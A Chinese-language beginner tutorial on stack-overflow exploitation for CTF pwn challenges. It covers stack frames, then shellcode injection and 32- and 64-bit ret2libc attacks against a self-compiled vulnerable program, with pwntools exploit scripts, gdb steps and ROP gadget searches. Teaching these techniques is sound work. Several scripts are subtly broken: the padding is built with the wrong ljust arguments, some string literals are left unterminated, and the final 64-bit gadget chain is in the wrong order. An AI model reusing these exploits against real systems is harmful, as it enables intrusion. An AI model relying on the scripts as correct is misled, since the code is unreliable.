寫在前面:本文旨在幫助剛接觸pwn題的小夥伴少走一些彎路,快速上手pwn題,內容較為基礎,大佬輕噴。本文預設讀者明白最基礎的彙編指令的含義,並且已經配置好linux64位環境,明白基礎的Linux指令。
棧,棧幀與函式呼叫
我們知道,在資料結構中,棧是一種先進後出的資料結構。而在作業系統中,一般使用棧儲存函式的狀態和函式中的區域性變數。
Linux中的棧位於程式記憶體空間的末端,從高地址向低地址生長
棧幀是當一個函式被呼叫時,所擁有的獨立的存放函式狀態和所使用的變數的棧空間,每個函式都對應有一個棧幀,同一個函式多次呼叫,每次可能分配到不同的棧幀。
一個執行中的函式,其棧幀區域被棧基址暫存器(bp)和棧頂暫存器(sp)所限定。
以上為呼叫一個子函式時,子函式的棧幀結構圖(32位),64位基本也是如此,但是有一些細微的不同,之後會提到。
在32位系統中,一個函式被呼叫時,會經過以下過程:
- 儲存函式實參
- 儲存子函式結束後的返回地址
- 儲存父函式棧幀資訊
- 在棧上開闢空間供區域性變數使用
- 實現函式自身功能
- 釋放函式用到的區域性變數空間
- 根據儲存的父函式資訊,恢復父函式棧幀
- 由儲存的返回地址,恢復父函式執行流
儲存函式實參
func(a,b,c),對應的彙編指令是:
push c
push b
push a
對引數從右向左進行壓棧
儲存子函式結束後返回地址
此時的彙編指令顯示為call func
指令,在功能上等價於:
push 當前call指令下一條指令的地址
jmp func
其中,push指令將當前call指令的下一條指令的地址儲存進棧中,這樣,當子函式執行結束後,將可以方便地根據其中儲存的地址恢復原有程式的執行流。
而jmp指令則是跳轉到對應函式的地址。
儲存父函式棧幀資訊
進入func函式內部,此時esp和ebp仍然儲存的是父函式棧幀。
由於子函式中棧空間完全釋放後,esp會回到函式呼叫前狀態,因此只需要儲存ebp資訊即可,將父函式ebp入棧。
push ebp
隨後修改子函式的棧底為當前的esp處
mov ebp,esp
為子函式分配棧空間
sub esp,20h
以上為子函式分配32位元組大小的空間。需要注意棧的增長方向是由高地址向低地址,因此此處做減法
子函式執行完成後回收棧空間
add esp,20h
恢復父函式棧幀
此時esp恢復到剛壓入父函式ebp後的狀態,可以恢復父函式的ebp,從而恢復棧幀
pop ebp
恢復程式執行流
最後,當前棧頂為返回地址,父函式棧資訊已經恢復,根據棧中儲存的返回地址修改程式執行流即可。對應的彙編語句是:
retn
以上即為32位主機中函式棧幀從建立到銷燬的全過程。
而在大多數64位主機遵循的傳參規定中,引數需要透過暫存器進行傳遞,只有當引數多於6個時,多出來的部分才會透過暫存器進行傳遞。暫存器與引數的對應關係如下:
Register | Argument |
---|---|
rdi | First Argument |
rsi | Second |
rdx | third |
rcx | fourth |
r8 | fifth |
r9 | sixth |
小試身手
有了以上的理論學習,可以透過以下三道簡單的pwn題,由淺入深地理解pwn中棧溢位的利用。
源程式rop1.c
#include<stdio.h>
#include<unistd.h>
void vuln()
{
char buf[128];
read(0,buf,256);
}
int main()
{
vuln();
write(1,"hello rop\n",10);
}
透過分析原始碼,我們知道以上程式存在著明顯的棧溢位漏洞,其接收一個大小為128位的陣列,卻允許讀入256個位元組。
所謂的棧溢位,即為:使用者的輸入超過了預先分配好的棧空間,導致一部分資料發生洩漏,覆蓋掉了其他資料,譬如關鍵變數,返回地址等。透過棧溢位漏洞,我們可以修改程式執行流。
以上為棧溢位示意圖,使用者的輸入大於12個位元組,從低地址到高地址依次覆蓋掉了Char* bar,儲存的父函式棧基址,返回地址,並將返回地址寫為一個特定的值。
常見的與棧溢位漏洞相關的函式被稱為危險函式,常見的危險函式包括:
gets()
,scanf()
,sprintf()
,strcpy()
,strcat()
,read()
等,當遇到這些函式時,可以考慮利用棧溢位。
在我們的除錯中,需要用到一個python庫pwntools,透過撰寫指令碼,利用pwntools,可以極大地簡化pwn流程。
- python建立並啟用虛擬環境(推薦)
python -m venv .venv
source .venv/bin/activate
- 安裝pwntools
pip install pwntools
- 測試是否安裝成功
python
from pwn import *
若不報錯,則完成安裝
第一題-棧上執行shellcode實現程式流劫持
在以下三題中,我們的目的都是拿到系統的shell。實驗環境為Ubuntu 24.10
在第一題中,我們的目標是,將我們的shellcode直接寫在棧中,並且將函式的返回地址覆寫為shellcode的地址,從而實現對shellcode的執行。
其原理圖如下:
但是,現代作業系統普遍開啟了棧保護,不允許直接執行棧上的shellcode,因此我們在編譯時需要先關閉棧保護(以執行shellcode),並關閉記憶體地址隨機化(ASLR)
將檔案作為32位檔案編譯,編譯時關閉棧保護
gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack
-m32選項指定為32位檔案編譯,-fno-stack-protector關閉棧保護,-z execstack允許在棧上執行shellcode
關閉系統記憶體地址隨機化ASLR
su -
echo 2 | tee /proc/sys/kernel/randomize_va_space
利用pwntools提供的checksec工具,我們可以檢視檔案的保護情況:
checksec rop1
執行所得結果類似下圖所示:
簡單介紹下其中部分引數的含義:
- Arch: 程式的架構,此處為i386-32-little,說明該程式是32位的,並以小端儲存地址
- stack-canary: 針對棧溢位的保護機制,在函式開始執行前,在返回地址處寫入一個字長的隨機資料,在函式返回前校驗該值是否改變,若改變則說明發生棧溢位,將程式直接終止。
- NX: 在現代作業系統中,開啟NX保護後,所有可以被修改寫入shellcode的記憶體都不可執行,所有可以被執行的資料都不可以被修改。此處關閉
- PIE: 讓可執行程式的地址進行隨機化載入,但是此處不關掉也不會影響做題
有了上述準備工作以後,我們可以開始做題。
透過原始碼,我們知道發生溢位的陣列在vuln陣列內部,因此,我們設定斷點,並反編譯vuln函式
gdb rop1
在gdb處執行
b vuln
r
disass vuln
從彙編程式碼中,我們得到陣列的偏移量,對應[ebp-0x88]中的內容。即為開闢的陣列空間的大小,若輸入大於該大小,則會發生棧溢位。
透過以上原理圖,我們注意到,如果我們希望完成對返回地址的覆蓋,除了陣列的偏移量以外,我們還需要額外加上一個ebp大小的偏移量,用於覆蓋掉父函式棧幀,這樣以後,我們才能將返回地址覆蓋成我們的地址。
因此,我們構建的輸入是這樣的:
payload = 0x88*b'a'+0x4*b'b'+return_addr
注意,此處我們傳入的字元型別需要為bytes,即以位元組流的形式構建payload,否則會出錯
返回地址指向一串能夠能夠呼叫系統shell的shellcode,我們可以藉助pwntools幫助我們生成這一shellcode
shellcode = asm(shellcode.sh())
有了以上的思路以後,我們撰寫指令碼,此時我們還不能確定shellcode的地址,因此我們先引發程式崩潰再做觀察:
from pwn import *
p = process('./rop1')
gdb.attach(p,'b vuln')
shellcode = asm(shellcraft.sh())
shellcode_addr = 0xdeadbeef # 暫且不能確定
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 進入互動模式
此時程式崩潰,會自動在當前目錄下生成一個包含程式崩潰資訊的core檔案(也可能沒有,自行google如何在程式崩潰後生成core檔案)
程式崩潰後的棧幀是這樣的:
函式執行結束,回收棧幀,esp指向父函式的棧頂,與陣列後面填充的shellcode距離為陣列大小0x88+兩個暫存器的大小0x4*2,即0x90
為了驗證我們的猜想,我們用gdb附加core檔案,檢視rop1檔案崩潰時的資訊
gdb rop1 core.xxxxxx
在gdb中,檢視esp-0x90處地址的內容
x/s $esp-0x90
以jhh
開頭的那串字元即為生成的開啟shell的shellcode(可自行驗證)
$esp-0x90即為我們需要的shellcode地址。記錄該地址,並填入指令碼中
完善指令碼,成功獲取到shell:
from pwn import *
p = process('./rop1')
shellcode = asm(shellcraft.sh())
shellcode_addr = your_addr
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 進入互動模式
第二題-利用ret2libc實現程式流劫持(32位)
按照以下引數編譯程式:
gcc rop1.c -o rop2 -m32 -fno-stack-protector
第二題在實驗1的基礎上開啟了NX(NO execute)保護,不能直接執行棧上的shellcode。
不能直接執行shellcode,我們能透過別的方式達成目的嗎?可以的,一個程式的執行不可避免地要引用外部共享庫,一個常用的庫是libc庫(Standard C Library),其為GNU/Linux提供了一系列關鍵的函式。若我們能夠透過修改程式執行流,執行libc庫中提供的函式,即可繞過限制。
如圖,我們將子函式原本的返回地址覆寫為libc庫中函式地址,子函式執行結束後,會跳轉到對應函式位置。
透過ldd指令,我們可以檢視檔案所使用的共享庫:
ldd rop2
此處我們選取的libc函式為system函式,引數為/bin/sh
,這樣可以調起一個終端。而在本例中,system函式執行結束後的返回地址不重要,因為透過執行函式system,我們已經獲取了shell。
由於我們在本題中已經關閉了ASLR,因此system函式和/bin/sh
字串在程式開始執行後,在記憶體中的地址不會發生變化,在開始除錯後可以直接使用gdb查詢這兩個地址:
輸出system函式的地址:
p system
透過vmmap,我們在gdb中檢視當前記憶體地址對映,確定當前使用的libc.so在記憶體中的起始地址和結束地址,並嘗試在該地址中尋找/bin/sh
字串
vmmap
其起始地址為0xf7ccb000
,終止地址為0xf7ef4000
用find指令查詢"/bin/sh"字元在libc庫中的位置:
find 0xf7ccb000,0xf7ef4000,"/bin/sh"
結果地址即為所求
明確了目標地址,我們接下來需要確定偏移量,同樣反編譯vuln函式:
陣列大小為0x88,在加上一個ebp大小0x4用於覆蓋掉父函式棧幀,得到最終的偏移量0x8c
有了以上準備工作,我們撰寫以下指令碼,將gdb除錯程序附加到指令碼上:
from pwn import *
p = process('./rop2')
gdb.attach(p,'b main')
sys_addr= int(input("Find out the address of the system function"),16)
binsh_addr= int(input("Find out the address of the /bin/sh string in libc"),16)
payload = b'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr) # system函式的返回地址不重要
p.sendline(payload)
p.interactive() # 開啟互動模式
將獲取的地址填入其中,即可拿到shell
第三題-ret2libc(64位)
按照以下引數編譯程式
gcc rop1.c -o rop3 -m64 -fno-stack-protector
複習一下,64位的libc利用與32位的不同,由於引數呼叫約定方式的改變,64位程式在進行函式傳參時,將會將引數透過特定的暫存器傳遞,只有當引數的數量多於6個時,多餘的引數才會透過棧進行傳遞。
引數與暫存器的對應關係:
- rdi
- rsi
- rdx
- rcx
- r8
- r9
而要想透過暫存器傳參,我們需要找到一些特定的小程式碼片段(gadget),透過這些片段,我們將引數從棧彈出到暫存器中,再透過暫存器進行傳參。在本例中,我們需要傳遞的引數只有/bin/sh
一個。我們可以尋找類似pop rdi; ret
這樣的gadget
原理圖如下所示:
首先我們需要檢視rop3使用的共享庫:
ldd rop3
可以看到,其中用到了libc.so.6庫,正是我們需要的libc。
利用pwntools提供的ROPgadget工具,從對應庫中找出我們需要的gadget
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
將顯示匹配的結果及其相對於檔案首地址的偏移量
0x000000000002a44e : pop rdi ; pop rbp ; ret
0x000000000002a255 : pop rdi ; ret
0x0000000000129b4d : pop rdi ; ret 0xfff2
0x00000000000f4d6d : pop rdi ; ret 0xffff
引數地址和系統函式地址的獲取方式和32位的獲取方式相同,此處不在贅述。
關於偏移量的計算,需要注意,64位的偏移量與32位的不盡相同,需要重新計算,反編譯vuln函式:
此處,陣列偏移量為0x80,為了覆蓋返回地址,還需要加上一個rbp大小,即0x8,故總偏移量為0x88
有了以上資訊,可以開始寫指令碼:
from pwn import *
p = process('./rop3')
gdb.attach(p,'b main')
sys_addr=int(input("Input the address of the system function: ),16)
binsh_addr=int(input("Input the address of the string /bin/sh: ),16)
pr_addr =int(input("Input the address of the gadget: "),16)
payload = b'a' * 0x80+b'b'*0x8+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
執行指令碼。此時可能執行失敗(如果你的system函式的地址不以0結尾)。此處涉及到一個細節,即:64位作業系統中的主流編譯器要求進行棧對齊,即,呼叫函式的地址需要能夠被16整除。
知道了原因以後,我們需要讓system函式的呼叫地址+8或者-8位元組,這樣才能完成對齊。通常,我們透過插入一條ret
的gadget完成操作
在libc.so.6中尋找ret
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'ret' | grep ret
以下修改後的指令碼:
from pwn import *
p=process('./rop3')
gdb.attach(p,'b main')
system_addr = int(input("Enter the address of the system function: "),16)
binsh_addr = int(input("Find the address of the '/bin/sh' string in libc.so.6: "),16)
offset1 = 0x000000000011903c
gadget_start_addr = int(input("Enter the start address of libc.so.6: "),16)
gadget_addr = gadget_start_addr+offset1
offset2 = 0x0000000000028a93
ret_addr = gadget_start_addr+offset2
payload = b'a'*0x80 + b'b'*0x8 + p64(gadget_addr)+p64(ret_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
以上,若有遺漏或錯誤,懇請各位大佬指出。希望能幫對pwn感興趣的小夥伴少走彎路!